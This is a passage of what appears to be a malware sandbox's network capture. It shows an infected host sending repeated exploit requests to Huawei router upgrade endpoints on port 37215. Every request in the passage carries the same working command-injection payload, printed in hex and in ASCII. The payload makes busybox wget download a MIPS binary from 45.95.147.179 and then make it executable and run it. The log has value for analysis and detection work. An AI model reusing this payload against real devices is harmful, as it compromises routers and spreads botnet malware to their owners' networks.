huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:38.828881025 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.20	50568	107.178.148.4	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:03:31.371867895 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:32.248780966 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:33.308830023 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:35.428788900 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:39.660747051 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.20	55762	156.224.15.191	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:03:32.917519093 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:34.372874975 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:36.120920897 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
